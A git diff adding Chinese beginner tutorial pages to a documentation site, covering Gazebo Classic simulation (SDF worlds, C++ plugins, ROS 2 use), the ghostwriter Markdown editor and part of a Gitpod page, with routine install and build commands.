+ +**Q:中文文件名与 wikilink 可以吗?** +A:可以。Foam 链到标题或文件名;注意跨平台文件名规范,复杂场景可用 `$FOAM_TITLE_SAFE` 模板。 + +**Q:性能:几千篇笔记会卡吗?** +A:VS Code 打开超大工作区时,图谱与索引会变慢;可按年份分子目录、定期 Janitor 清理 orphan、用 CLI `lint` 扫描断链。 + +--- + +## 延伸资源 + +- 官方 README:[github.com/foambubble/foam](https://github.com/foambubble/foam) +- 文档:[foambubble.github.io/foam](https://foambubble.github.io/foam/) · [docs.foamnotes.com](https://docs.foamnotes.com) +- 模板仓库:[github.com/foambubble/foam-template](https://github.com/foambubble/foam-template) +- VS Code 市场:[Foam 扩展页](https://marketplace.visualstudio.com/items?itemName=foam.foam-vscode) +- 社区:Discord(README 徽章链接) + +--- + +## 小结 + +Foam 把 **Roam-like 的网状笔记** 搬进 **VS Code + Git + Markdown** 的世界:Wikilink 负责连接,Backlinks 负责发现,Graph 负责鸟瞰,Daily Note 与模板负责节奏与复用。它不替你想清楚知识结构,但把「写下一句话并立刻挂到知识网上」的摩擦降到很低——对已经在编辑器里度过每一天的人来说,这往往比再学一款笔记 App 更自然。 diff --git a/src/content/docs/projects/gazebo-classic.md b/src/content/docs/projects/gazebo-classic.md new file mode 100644 index 000000000..4d52d8fff --- /dev/null +++ b/src/content/docs/projects/gazebo-classic.md @@ -0,0 +1,379 @@ +--- +title: Gazebo Classic — 机器人仿真零基础入门 +来源: 'https://github.com/osrf/gazebo' +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 日常类比:带物理引擎的「沙盒游戏 + 风洞实验室」 + +想象你要测试一辆还没造出来的遥控车,但不想每次改设计都开模、焊电路、买零件。 + +- **世界(World)** 像游戏关卡文件:地面、光照、障碍物、重力方向,全写在一个 `.world` / `.sdf` 里。 +- **模型(Model)** 像可复用的积木包:一个差速小车、一张桌子、一盏太阳灯,各自有 `model.sdf`,关卡里用 `` 引用即可。 +- **链接与关节(Link / Joint)** 像积木的「硬块 + 铰链」:车身是一个 link,轮子通过 revolute joint 连到车身;物理引擎据此算碰撞与运动。 +- **gzserver** 像后台物理服务器:不算画面,只跑物理步进、传感器采样、插件逻辑——适合 CI 或无头云仿真。 +- **gzclient** 像 3D 客户端:负责渲染、鼠标拖物体、调仿真参数;挂了可以重启,server 继续跑。 +- **插件(Plugin)** 像 Mod:用 C++ 写 `.so`,在 SDF 里挂到 world / model / sensor 上,就能改重力、推模型、读激光数据。 + +**Gazebo Classic**(仓库 [osrf/gazebo](https://github.com/osrf/gazebo))是 Open Robotics 维护多年的 3D 机器人仿真器,长期与 ROS 1 深度集成,也是 ROS 2 早期 `gazebo_ros_pkgs` 的底座。官方教程入口:[Gazebo Classic Tutorials](https://classic.gazebosim.org/tutorials)。 + +> **重要背景**:Gazebo Classic 已于 **2025 年 1 月** 到达 end-of-life(EOL),新项目应迁移到新一代 **Gazebo**(原 Ignition Gazebo,见 [gazebosim.org](https://gazebosim.org))。本文仍值得学:大量 legacy 栈、教材、比赛环境基于 Classic;理解 SDF、server/client 分离、插件模型,迁移到新 Gazebo 会轻松很多。 + +它和 [[ros2]] / [[navigation2]] 的关系:Nav2 常在 Gazebo 里跑 SLAM + 导航;Classic 通过 `gazebo_ros` 桥发布 `/clock`、`/scan`、`/odom` 等话题,让 ROS 节点以为在跟真机打交道。 + +--- + +## 解决什么问题 + +| 痛点 | 没有仿真时 | Gazebo Classic 的回应 | +| --- | --- | --- | +| 硬件贵、迭代慢 | 每改一次结构就要实机调试 | SDF 改参数 → 重启仿真,分钟级验证 | +| 危险场景难测 | 高速碰撞、跌落不便真测 | 物理引擎(ODE/Bullet 等)在虚拟世界重复试验 | +| 传感器难同步 | 相机、激光、IMU 时间戳对齐麻烦 | 仿真器统一 clock,传感器按同一物理步长采样 | +| 算法要可复现 | 实机噪声、环境不可控 | 固定 seed、固定 world,回归测试稳定 | +| 多机协同 | 多台机器人成本高 | 一个 world 里 spawn 多个 model | + +核心问题:**如何在可控、可重复、低成本的环境里,让机器人软件(感知、规划、控制)以为在操作真实硬件?** + +--- + +## 架构:Server / Client 分离 + +Gazebo Classic 由两个主要进程组成(`gazebo` 命令会同时拉起二者): + +```text +┌─────────────────┐ transport (Protobuf/Topic) ┌─────────────────┐ +│ gzserver │ ◄──────────────────────────────────────► │ gzclient │ +│ 物理 + 传感器 │ 状态、图像、GUI 指令 │ QT 可视化界面 │ +│ 插件加载 │ │ 用户交互 │ +└────────┬────────┘ └─────────────────┘ + │ + │ libgazebo_ros_* 等桥接 + ▼ +┌─────────────────┐ +│ ROS / ROS 2 │ /clock, /tf, /scan, /cmd_vel ... +└─────────────────┘ +``` + +常用启动方式: + +```bash +# 图形界面 + 默认空世界 +gazebo + +# 指定官方示例世界(路径随安装版本变化,如 gazebo-11) +gazebo worlds/empty_sky.world + +# 无头:只跑物理(适合服务器 / CI) +gzserver worlds/empty_sky.world + +# 另开终端再看画面 +gzclient +``` + +环境变量(排错高频): + +| 变量 | 作用 | +| --- | --- | +| `GAZEBO_MODEL_PATH` | 额外模型目录,找 `model://` | +| `GAZEBO_RESOURCE_PATH` | 找 world、media 等资源 | +| `GAZEBO_PLUGIN_PATH` | 自定义 `.so` 插件搜索路径 | + +--- + +## 核心概念 + +### 1. SDF(Simulation Description Format) + +SDF 是 XML 格式的仿真描述语言([SDF 规范](http://sdformat.org/))。与 URDF 相比,SDF **原生支持一个文件里多个 model、完整 world、插件标签**,Classic 以 SDF 为一等公民。 + +层级结构(由粗到细): + +```text + + ← 一个仿真场景 + ← 引用 model://ground_plane 等 + ← 也可 inline 写完整模型 + ← 刚性单元:visual + collision + inertial + ← 外观(mesh / box / cylinder) + ← 碰撞体(可简化) + ← 质量、惯性张量 + + ← 连接两个 link:revolute / prismatic / fixed ... + ← 绑定 C++ 插件 .so + + ← World 级插件 + + +``` + +**Model 数据库**:在线/本地 `~/.gazebo/models`,GUI 里 Insert tab 下载的模型也在这里。每个模型目录通常含 `model.config`(元数据)和 `model.sdf`(几何与物理)。 + +### 2. 物理引擎与仿真步 + +`gzserver` 循环执行: + +1. 读 SDF,实例化 world 与 model; +2. 按 `max_step_size` 推进物理(默认 ODE); +3. 更新 joint 状态、碰撞响应; +4. 触发传感器与插件回调(如 `WorldUpdateBegin`); +5. 通过 transport 把状态发给 client 与外部桥。 + +实时因子(Real Time Factor, RTF)= 仿真时间 / 墙钟时间。RTF < 1 说明算力不够,仿真比真实时间慢。 + +### 3. 插件类型 + +| 插件基类 | 挂载点 | 典型用途 | +| --- | --- | --- | +| `SystemPlugin` | 命令行 / 最早加载 | 控制启动流程 | +| `WorldPlugin` | `` | 改重力、光照、全局逻辑 | +| `ModelPlugin` | `` | 推模型、自定义控制器 | +| `SensorPlugin` | 传感器 | 处理相机/激光原始数据 | +| `VisualPlugin` | visual | 特效、非物理可视化 | + +注册宏:`GZ_REGISTER_WORLD_PLUGIN`、`GZ_REGISTER_MODEL_PLUGIN` 等。插件必须编译为 **shared library**,并在 SDF 里写 `filename="libxxx.so"`。 + +### 4. Transport 与消息 + +Classic 内部用 **Protobuf** 消息在 topic 上通信(与 ROS 不同层)。插件里常见: + +- `transport::Node` 订阅/发布 Gazebo 话题; +- `event::Events::ConnectWorldUpdateBegin` 每个仿真步回调。 + +ROS 集成则另走 `gazebo_ros` 包,把 Gazebo 传感器转成 ROS 消息。 + +### 5. Classic vs 新 Gazebo + +| 维度 | Gazebo Classic | 新 Gazebo (gz sim) | +| --- | --- | --- | +| 命令 | `gazebo`, `gzserver` | `gz sim` | +| 维护状态 | EOL (2025-01) | 活跃开发 | +| SDF 版本 | 1.4–1.7 常见 | SDFormat 最新版 | +| ROS 2 | 旧 `gazebo_ros_pkgs` | `ros_gz` 系列 | + +维护老项目读 Classic; greenfield 请直接上新 Gazebo + [迁移指南](https://gazebosim.org/docs/latest/migration_from_classic/)。 + +--- + +## 示例 1:最小 World SDF + 命令行启动 + +在任意目录创建 `minimal.world`: + +```xml + + + + + + model://ground_plane + + + model://sun + + + + + 0 0 0.5 0 0 0 + false + + + + 1 1 1 + + + + + 1 1 1 + + + 0.2 0.5 0.8 1 + + + + 1.0 + + 0.1666670.1666670.166667 + + + + + + +``` + +运行: + +```bash +cd /path/to/dir +gazebo minimal.world +# 或 headless +gzserver minimal.world +``` + +期望:地面上一块蓝色立方体,受重力落下并静止。若报 `Unable to find uri[model://ground_plane]`,检查 Gazebo 是否正确安装、`GAZEBO_MODEL_PATH` 是否包含系统 model 路径。 + +--- + +## 示例 2:Model 插件 — 每帧给模型施加速度 + +以下 C++ **ModelPlugin** 在每一仿真步给父模型设置线速度(改编自官方 [Model plugins](https://classic.gazebosim.org/tutorials?tut=plugins_model) 教程)。 + +`model_push.cc`: + +```cpp +#include +#include +#include + +namespace gazebo { +class ModelPush : public ModelPlugin { + public: + void Load(physics::ModelPtr _parent, sdf::ElementPtr /*_sdf*/) { + model_ = _parent; + updateConnection_ = event::Events::ConnectWorldUpdateBegin( + std::bind(&ModelPush::OnUpdate, this)); + } + + void OnUpdate() { + // 沿 X 轴 0.5 m/s 匀速推动 + model_->SetLinearVel(ignition::math::Vector3d(0.5, 0, 0)); + } + + private: + physics::ModelPtr model_; + event::ConnectionPtr updateConnection_; +}; +GZ_REGISTER_MODEL_PLUGIN(ModelPush) +} +``` + +`CMakeLists.txt` 骨架(需 `find_package(gazebo REQUIRED)`,链接 `${GAZEBO_LIBRARIES}`): + +```cmake +cmake_minimum_required(VERSION 3.5) +project(model_push) +find_package(gazebo REQUIRED) +add_library(model_push SHARED model_push.cc) +target_link_libraries(model_push ${GAZEBO_LIBRARIES}) +``` + +`model_push.world` 片段: + +```xml + + 0 0 0.5 0 0 0 + + + 1 1 1 + + + 1 1 1 + + + + +``` + +编译与运行: + +```bash +mkdir build && cd build && cmake .. && make +export GAZEBO_PLUGIN_PATH=$GAZEBO_PLUGIN_PATH:$(pwd) +gzserver -u ../model_push.world # -u 表示 paused 启动,按播放开始 +``` + +期望:点击播放后,立方体持续向 X 正方向滑动。`-u` 便于先检查场景再开仿真。 + +--- + +## 示例 3:World 插件 — 启动时修改重力 + +World 插件在 `Load` 里拿到 `physics::WorldPtr`,可改物理参数。官方 [Programmatic World Control](https://classic.gazebosim.org/tutorials?tut=plugins_world_properties) 通过 transport 发布 `msgs::Physics` 把重力改成 `(0.01, 0, 0.1)`,物体缓慢「飘走」。 + +SDF 挂载: + +```xml + + + + +``` + +要点:`node->Init(_parent->GetName())` 初始化 transport;`physicsPub->Publish(physicsMsg)` 应用新重力。适合课程演示「月球重力」「火星重力」而不改全局配置。 + +--- + +## 与 ROS 2 联合使用(概念) + +典型流程(包名因发行版略有差异): + +1. 安装 `gazebo_ros_pkgs` 与机器人描述包; +2. `ros2 launch` 同时起 `gzserver`(带 robot world)与 robot state / spawn; +3. 控制器发 `/cmd_vel`,`gazebo_ros_diff_drive` 等插件驱动模型; +4. `gazebo_ros_ray_sensor` 发布 `/scan`,Nav2 消费。 + +```bash +# 示意:具体 launch 名以你所用栈为准(如 turtlebot3_gazebo) +ros2 launch turtlebot3_gazebo empty_world.launch.py +``` + +仿真时间:设置 `use_sim_time` 为 true,ROS 节点订阅 `/clock`,避免墙钟与 sim time 错位。 + +--- + +## GUI 快速上手 + +1. **Insert** tab:从 model 库拖入物体(下载到 `~/.gazebo/models`)。 +2. 工具栏 **简单几何体**:快速放 box / sphere / cylinder。 +3. **Translate / Rotate** 插件:拖动物体与模型。 +4. **File → Save As**:把当前场景存成 `.world` / `.sdf`。 +5. 左下角 **播放 / 暂停 / 单步**:控制仿真运行。 + +教程 [Building a world](https://classic.gazebosim.org/tutorials?tut=build_world) Walkthrough 与上述流程一致。 + +--- + +## 常见问题排查 + +| 现象 | 可能原因 | 处理 | +| --- | --- | --- | +| `model://` 找不到 | model 路径未设置 | `export GAZEBO_MODEL_PATH=...` 或 `gazebo --verbose` 看日志 | +| 插件未加载 | `.so` 不在 `GAZEBO_PLUGIN_PATH` | 编译后 export 插件目录 | +| 黑屏 / 无 client | 只跑了 gzserver | 另开 `gzclient` 或直接用 `gazebo` | +| 物体穿透抖动 | 步长过大、碰撞 mesh 太薄 | 减小 `max_step_size`,简化 collision | +| ROS 时间不对 | 未用 sim time | 全局 `use_sim_time:=true` + `/clock` | + +调试建议:始终先 `gazebo --verbose` 或 `gzserver --verbose`,第一屏错误通常直指缺失的 uri 或 plugin。 + +--- + +## 学习路径建议 + +1. **Quick Start**:[官方 Quick Start](https://classic.gazebosim.org/tutorials?tut=quick_start) — 熟悉 `gazebo worlds/pioneer2dx.world`。 +2. **Components**:[Gazebo Components](https://classic.gazebosim.org/tutorials?tut=components) — world / model / server / client 分工。 +3. **Build World** — GUI 搭场景并 Save As。 +4. **Plugins 101** — WorldPlugin Hello World,理解 `GZ_REGISTER_*`。 +5. **Model / Sensor 插件** — 控制与传感器数据处理。 +6. **对接 ROS 2** — 在已有 robot launch 里改 world、换传感器插件。 +7. **迁移** — 读 [Migration from Gazebo classic](https://gazebosim.org/docs),对照新 API。 + +--- + +## 小结 + +Gazebo Classic 用 **SDF 描述世界**,用 **gzserver 跑物理与插件**,用 **gzclient 看与摸**,可选 **ROS 桥** 对接导航/感知栈。对零基础学习者,先会写最小 world、会启动 server/client、会在 SDF 里 `include` 模型,再进阶 C++ 插件与 ROS launch,是一条扎实路径。 + +记住 EOL 时间线:学 Classic 是为了维护与理解现有资产;**新仿真项目请直接选 Gazebo (gz sim)**,并把本文的 SDF 与插件思想映射到新文档即可。 + +--- + +## 参考链接 + +- 源码与 Issue:[github.com/osrf/gazebo](https://github.com/osrf/gazebo) +- 教程索引:[classic.gazebosim.org/tutorials](https://classic.gazebosim.org/tutorials) +- SDF 规范:[sdformat.org](https://sdformat.org/) +- 新 Gazebo 与迁移:[gazebosim.org](https://gazebosim.org) +- 相关笔记:[[ros2]]、[[navigation2]]、[[moveit2]] diff --git a/src/content/docs/projects/ghostwriter.md b/src/content/docs/projects/ghostwriter.md new file mode 100644 index 000000000..1fd54ce36 --- /dev/null +++ b/src/content/docs/projects/ghostwriter.md @@ -0,0 +1,335 @@ +--- +title: ghostwriter — Qt 干净 Markdown 写作器 +来源: https://github.com/wereturtle/ghostwriter +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:打字机 + 校对窗,而不是 Word 画布 + +想象你在一家安静的咖啡馆写博客:左手边是一台 **老式打字机**——你敲什么字,纸上就出什么字,没有花哨工具栏打断思路;右手边立着一块 **小预览屏**,每打一行,排版后的成品立刻出现在屏幕上,方便确认标题层级、链接、代码块有没有写错。 + +**ghostwriter 就是这种「双区协作」的 Markdown 写作器。** 左侧编辑区始终显示 **纯 Markdown 源码**(`# 标题`、`**粗体**`、围栏代码块),右侧 **Live Preview** 实时渲染 HTML。它和 MarkText、Typora 的「所见即所得单画布」不同:你 **看得见标记语言本身**,预览只是辅助——更像程序员写 LaTeX 时左边源码、右边 PDF,而不是 Word 里直接改字号。 + +项目由 Megan Conkle(GitHub 账号 [wereturtle](https://github.com/wereturtle))于 2015 年发起,现已成为 **KDE 官方应用**(仓库迁移至 [KDE/ghostwriter](https://github.com/KDE/ghostwriter),主页 [ghostwriter.kde.org](https://ghostwriter.kde.org))。技术栈是 **Qt + KDE Frameworks + C++**,内置 **cmark-gfm** 处理器;若系统 PATH 里装了 **Pandoc / MultiMarkdown / cmark**,启动时会自动检测并扩展导出与预览能力。GPL-3.0 开源,支持 **Windows、Linux**;macOS 安装包在 KDE Binary Factory 规划中。 + +零基础路径:**安装 → 写第一篇带标题与代码块的笔记 → 开 Focus / Hemingway 模式体验心流 → 用 Pandoc 导出 PDF 或 HTML 完成闭环**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:富文本编辑器太重,分神 + +Word、LibreOffice Writer 功能堆叠,改个标题可能误触样式、页眉页脚。**ghostwriter 刻意做减法**:默认界面干净、可全屏、可 **Focus Mode**(只高亮当前句/段/行,其余淡出), slogan 就是 *No excuses. No distractions. Just write.* + +### 痛点 2:纯记事本没有结构感 + +`.txt` 无法表达标题层级、链接、列表;后期排版痛苦。Markdown 是 **plain text + 轻量标记**,可进 Git、可 diff、可被任何工具打开。ghostwriter 在 plain text 之上加了 **语法高亮、大纲导航、实时 HTML 预览**,写作与校对同屏完成。 + +### 痛点 3:预览与导出依赖不同「Markdown 方言」 + +GitHub 用 GFM,学术圈用 Pandoc,旧项目用 MultiMarkdown——各家的表格、脚注、数学公式语法不完全一样。ghostwriter **内置 cmark-gfm** 保证开箱预览;安装 Pandoc 等后可在 **导出对话框** 里换处理器,同一篇 `.md` 可出 HTML、PDF、ODT、Word 等,而不必手敲命令行(当然 Pandoc 仍可在终端单独用)。 + +### 痛点 4:长文写作时迷失结构 + +侧边栏 **Outline(大纲)** 从标题自动生成目录,点击可跳转编辑区或预览区对应位置;`Ctrl+J` 可键盘快速跳节。底部 **实时字数**,侧边栏还有 **Document Statistics / Session Statistics**,适合 NaNoWriMo、日更博客等需要量化进度的场景。 + +--- + +## 核心概念拆解 + +### 1. 双栏模型:Editor + HtmlPreview + +架构上,`MarkdownEditor`(继承 Qt `QPlainTextEdit`)负责输入与存储;`HtmlPreview`(基于 `QWebEngineView`)把当前文档交给 Markdown 处理器转成 HTML 展示。你改一个字,预览会增量更新——2.2 起预览侧用 **React 只重绘变化部分**,长文档也不易卡死。 + +这与「WYSIWYG Markdown」的本质区别: + +| 维度 | ghostwriter | MarkText / Typora | +|------|-------------|-------------------| +| 编辑区显示 | 始终 Markdown 源码 | 渲染后的视觉效果 | +| 学习曲线 | 需记住 `#`、`*` 等语法 | 更像 Word,语法可后学 | +| 适合人群 | 程序员、技术写作者、Git 用户 | 通用写作者、博客新手 | + +### 2. Markdown 处理器链(Processor) + +默认 **cmark-gfm**(CommonMark + GitHub Flavored Markdown:表格、任务列表、删除线、围栏代码块等)内置于应用,无需配置。 + +可选外置处理器(需在系统 `PATH` 中): + +| 处理器 | 典型用途 | +|--------|----------| +| **Pandoc** | 学术引用、复杂表格、LaTeX 数学、导出 PDF/DOCX | +| **MultiMarkdown** | 脚注、元数据、部分兼容语法 | +| **cmark** | 严格 CommonMark 环境 | + +启动时自动检测;**预览与导出共用当前选中的处理器**,避免「编辑器里一种渲染、导出另一种」的意外——但若原文用了 Pandoc 专有语法而预览仍用 cmark-gfm,预览可能不完整,这时应切换处理器或安装 Pandoc。 + +### 3. 语法高亮:cmark-gfm AST 驱动 + +`MarkdownHighlighter` 不是简单正则涂色,而是借助 **cmark-gfm 解析 AST**,按节点类型(标题、强调、代码块、引用等)应用主题色。嵌套列表、跨行代码块识别比纯正则更准确。主题(Theme)为 **浅色 + 深色** 双配色方案,可在状态栏一键切换 Dark Mode。 + +### 4. 心流辅助:Focus Mode 与 Hemingway Mode + +- **Focus Mode**:淡化非当前区域,可配置高亮 **当前行 / 句 / 段 / 三行**,适合长文续写。 +- **Hemingway Mode**:禁用 Backspace 与 Delete,强迫 **只往前写、不回头删**,模拟打字机;适合头脑风暴、初稿冲刺(定稿前记得关掉)。 + +### 5. 文档生命周期:DocumentManager + +`DocumentManager` 负责打开、保存、**自动保存(Autosave)**、备份与草稿。配合 **拖放图片** 到编辑区,会自动插入相对路径的 `![](...)` 语法——图片与 `.md` 同目录管理时,迁移项目文件夹不会断链。 + +### 6. 侧边栏四件套 + +| 标签 | 作用 | +|------|------| +| **Outline** | 标题树状导航 | +| **Document Statistics** | 字符、词数、阅读时间等 | +| **Session Statistics** | 本次会话写作量 | +| **Cheat Sheet** | 按 `F1` 查看 Markdown 速查 | + +### 7. 命令行与特殊选项 + +```bash +ghostwriter my-article.md # 直接打开文件 +ghostwriter --disable-gpu # 关闭 GPU 加速(Windows + Qt6 全屏菜单 bug 规避) +``` + +--- + +## 安装与第一次打开 + +### Linux(推荐,KDE Gear 打包) + +```bash +# Debian / Ubuntu +sudo apt update && sudo apt install ghostwriter + +# Fedora +sudo dnf install ghostwriter +``` + +较旧发行版可参考原作者 PPA / Copr(见 [KDE/ghostwriter README](https://github.com/KDE/ghostwriter))。 + +### Windows + +从 [KDE Binary Factory](https://binary-factory.kde.org/) 获取安装包或 nightly;若全屏下菜单无法弹出,使用 `--disable-gpu`。 + +### 可选:安装 Pandoc 解锁导出 + +```bash +# macOS +brew install pandoc + +# Ubuntu +sudo apt install pandoc +``` + +安装后重启 ghostwriter,**Settings → Preferences** 里可确认是否检测到 Pandoc。 + +**建议第一次:** + +1. 新建 `notes/welcome.md`,写三级标题与一段列表。 +2. 打开右侧预览,观察 GFM 渲染。 +3. 点右下角 **Focus**,试写两段感受淡出效果。 +4. `Ctrl+J` 从大纲跳到某一节。 +5. 若有 Pandoc:**File → Export** 试导出 HTML。 + +--- + +## 代码示例 1:技术博客骨架(GFM + 任务列表) + +ghostwriter 对 GFM 开箱友好;下列结构可直接粘贴进编辑区,左侧看源码、右侧看博客效果。 + +```markdown +--- +title: "用 ghostwriter 写第一篇技术笔记" +date: 2026-06-13 +tags: [markdown, kde, writing] +--- + +# 用 ghostwriter 写第一篇技术笔记 + +## 为什么选双栏而不是 WYSIWYG + +- 源码可进 Git,diff 清晰 +- 预览只负责「看起来像不像成品」 +- 快捷键 `Ctrl+B` / `Ctrl+I` 可包选中文字,不必手敲星号 + +## 本周 TODO + +- [ ] 安装 Pandoc 并试导出 PDF +- [x] 打开 Focus Mode 写完本节 +- [ ] 把图片拖进编辑器测相对路径 + +## 一段带语法高亮的代码 + +```python +def word_count(text: str) -> int: + return len(text.split()) +``` + +## 引用块 + +> ghostwriter 的 Hemingway Mode 适合初稿: +> **禁止删除**,逼自己先写完再改。 + +--- + +*最后更新:2026-06-13* +``` + +**操作提示:** 选中多行待办,按 `Ctrl+T` 可批量转为 `- [ ]` 任务项;在任务行按 `Ctrl+D` 切换 `[x]` 完成状态——比手改括号快。 + +--- + +## 代码示例 2:Pandoc 扩展——脚注、GFM 表格与数学 + +安装 Pandoc 并在 ghostwriter 中选用 Pandoc 处理器后,可使用下列 **扩展语法**(cmark-gfm 单独预览时脚注可能行为不同,以导出为准)。 + +```markdown +# 文献阅读笔记:注意力与写作工具 + +现代写作工具常在「功能」与「专注」之间取舍。[^1] + +[^1]: Newport, *Deep Work* — 深度工作需减少上下文切换。 + +## 三种编辑器对照 + +| 类型 | 代表 | 编辑区所见 | +|----------------|---------------|----------------| +| 双栏源码+预览 | ghostwriter | Markdown 源码 | +| 单栏 WYSIWYG | MarkText | 渲染后样式 | +| 学术工作台 | Zettlr | 可分屏 + 引用 | + +## 行内与块级公式(需 Pandoc + MathJax 预览) + +欧拉公式 $e^{i\pi} + 1 = 0$ 常作为排版 smoke test。 + +$$ +\int_0^1 x^2 \, dx = \frac{1}{3} +$$ + +## 导出命令等价物(终端侧) + +若不用 GUI 导出,同一文件在终端可: + +```bash +pandoc reading-notes.md -o reading-notes.pdf --pdf-engine=xelatex +pandoc reading-notes.md -o reading-notes.docx +``` + +ghostwriter 的 Export 对话框本质上封装了这类调用,并记住上次路径与格式。 +``` + +**图片插入:** 将 `diagram.png` 拖入编辑区,可能生成: + +```markdown +![](./diagram.png) +``` + +若文档尚未保存,会使用 `file://` 绝对路径;保存到项目目录后建议改为相对路径,便于协作。 + +--- + +## 常用快捷键速查 + +| 快捷键 | 作用 | +|--------|------| +| `Ctrl+B` | 粗体 `**...**` | +| `Ctrl+I` | 斜体 `*...*` | +| `Ctrl+K` | 删除线 | +| `Ctrl+.` | 当前行变引用 `>` | +| `Ctrl+8` / `Ctrl+Shift+-` | 无序列表 `*` / `-` | +| `Ctrl+1` | 有序列表 `1.` | +| `Ctrl+T` | GFM 任务列表 | +| `Ctrl+D` | 切换任务完成 `[x]` | +| `Shift+Enter` | Markdown 硬换行(行尾两空格效果) | +| `Ctrl+J` | 大纲快速跳转 | +| `F1` | 侧边栏 Markdown 速查 | +| `F11` | 全屏(视平台而定) | + +可在 **Settings → Preferences → Editor** 开启 **自动配对括号/引号/星号**,选中文字后输入 `(`、`[`、`` ` `` 等会自动包裹。 + +--- + +## 与同类工具怎么选 + +| 场景 | 更合适的工具 | +|------|----------------| +| 要看见 Git diff 里的 Markdown 原文,偶尔预览 | **ghostwriter** | +| 完全不想学 `#` 语法,要 Word 式体验 | MarkText、Typora | +| 论文 + Zotero + 多格式 Pandoc 导出 | Zettlr | +| 已在 VS Code 里写 docs + CI | 继续 VS Code + 插件 | + +ghostwriter 的甜区是:**KDE/Qt 原生体验、Linux 桌面、技术向长文、强调专注与双栏预览**。它不是 IDE,不做插件生态,但 **轻、快、GPL 自由**。 + +--- + +## 架构一瞥(给想读源码的人) + +``` +MainWindow +├── DocumentManager # 打开/保存/自动保存/备份 +├── MarkdownEditor # QPlainTextEdit + 列表/引用智能回车 +│ └── MarkdownHighlighter # cmark-gfm AST 着色 +├── HtmlPreview # QWebEngineView 实时 HTML +└── Sidebar + ├── OutlineWidget + ├── Statistics + └── CheatSheet +``` + +2.2 重要变更:**HUD 改为侧边栏**、默认处理器从 Sundown 换为 **cmark-gfm**、预览用 **React 增量更新**、主题支持 **SASS 风格变量** 的 QSS/CSS。若你从 wereturtle 旧版升级,习惯界面位置可能略有不同。 + +构建依赖 Qt 6(仍兼容 Qt 5)、KDE Frameworks、`cmake`;Linux 下典型流程: + +```bash +git clone https://invent.kde.org/office/ghostwriter.git +cd ghostwriter && mkdir build && cd build +cmake .. && make && sudo make install +``` + +--- + +## 常见问题 + +**Q:预览和 Typora 渲染不一致?** +A:检查当前处理器。GFM 表格、任务列表用内置 cmark-gfm 一般一致;Pandoc 脚注、div 语法需选 Pandoc 并保证文法匹配。 + +**Q:Windows 全屏后菜单点不出来?** +A:Qt 6 + OpenGL + `QWebEngineView` 已知问题,用 `ghostwriter --disable-gpu` 或暂不全屏。 + +**Q:原 wereturtle/ghostwriter 和 KDE/ghostwriter 什么关系?** +A:同一项目演进;新 bug 与发布请跟 [KDE Bugzilla](https://bugs.kde.org) 与 [invent.kde.org](https://invent.kde.org/office/ghostwriter)。笔记 frontmatter 保留经典入口 [github.com/wereturtle/ghostwriter](https://github.com/wereturtle/ghostwriter) 便于检索旧资料。 + +**Q:能写小说吗?** +A:可以。Hemingway Mode + Focus + Session Statistics 对 NaNoWriMo 类长篇友好;最终仍建议按章节拆多个 `.md` 文件,用 Git 管理版本。 + +--- + +## 小结 + +| 要点 | 一句话 | +|------|--------| +| 定位 | Qt/KDE 双栏 Markdown 写作器,专注、轻量、GPL | +| 编辑哲学 | 写源码、看预览,而非隐藏标记 | +| 内置引擎 | cmark-gfm;可选 Pandoc / MMD / cmark | +| 心流功能 | Focus、Hemingway、全屏、大纲、统计 | +| 适合谁 | Linux 用户、技术博主、偏爱 plain text 写作者 | + +下一步:用本文 **代码示例 1** 建仓库 `writing/` 目录,每日一篇 `.md`;需要交 PDF 时再装 Pandoc,走 **代码示例 2** 的导出路径——**先写起来,格式后补**,正是 ghostwriter 的设计初衷。 + +--- + +## 参考链接 + +- 项目主页: +- Markdown 速查文档: +- KDE 应用页: +- 源码(KDE): +- 历史仓库: +- John Gruber Markdown 规范: +- cmark-gfm: +- Pandoc: diff --git a/src/content/docs/projects/gitpod.md b/src/content/docs/projects/gitpod.md new file mode 100644 index 000000000..a91c39d51 --- /dev/null +++ b/src/content/docs/projects/gitpod.md @@ -0,0 +1,350 @@ +--- +title: Gitpod — 预构建云开发环境 +来源: https://github.com/gitpod-io/gitpod +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:酒店提前铺好床,你拎包入住 + +想象你出差住连锁酒店。普通民宿:到了才洗床单、买洗漱用品、通网络,第一晚光「收拾房间」就耗掉一小时。连锁酒店的标准流程是:**在你订房之前,保洁已经把床铺好、Wi‑Fi 测通、迷你吧补满**——你刷卡进门,放下行李箱就能洗澡睡觉。 + +本地开发像民宿:clone 仓库、`npm install`、起 Docker、配环境变量,每次换分支或帮同事复现 bug,都可能重来一遍。**Gitpod** 做的是「连锁酒店式」的 **Cloud Development Environment(CDE,云开发环境)**:把代码仓库 + 运行环境 + 浏览器里的 [[vscode]](或 JetBrains)打包成**可一键启动的工作区(Workspace)**。而 **Prebuild(预构建)** 更进一步——在你点「打开工作区」之前,Gitpod 已经在云端跑完 `npm install`、编译、下载依赖,把「铺床」提前做完;你点开链接,几十秒内就能写代码。 + +项目地址:[gitpod-io/gitpod](https://github.com/gitpod-io/gitpod),Apache 2.0 开源核心。商用托管在 [gitpod.io](https://gitpod.io);文档与「Classic Gitpod」产品线也出现在 [Ona](https://ona.com) 品牌下——底层思想不变:**环境即代码(Environment as Code)**,写在仓库根目录的 `.gitpod.yml` 里。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:「在我机器上能跑」 + +Node 18 还是 20?pnpm 还是 npm?公司内网 CA 证书装没装?新人 onboarding 常卡在环境对齐上。Gitpod 把**可复现环境**写进版本库,所有人从同一份 `.gitpod.yml` 出发,差异只剩「你选 standard 还是 large 规格的工作区」。 + +### 痛点 2:冷启动太慢 + +大型 monorepo 首次 `yarn install` 可能要十分钟。没有预构建时,每次新开工作区都要等。 **Prebuild** 在 push / PR 触发时在后台执行 `before` + `init` 阶段,把依赖和编译产物缓存进快照;你真正打开工作区时,往往只需跑 `command`(例如 `npm run dev`),体感接近「秒开」。 + +### 痛点 3:笔记本不是唯一开发机 + +编译、集成测试、多容器 Compose 把风扇拉满。Gitpod 把算力放到云端 Linux 容器,本地只跑浏览器或 [[vscode]] Remote;平板、Chromebook 也能做完整开发。工作区闲置会自动停止(timeout),避免云资源像忘关的水龙头。 + +### 痛点 4:临时环境 vs 长期污染 + 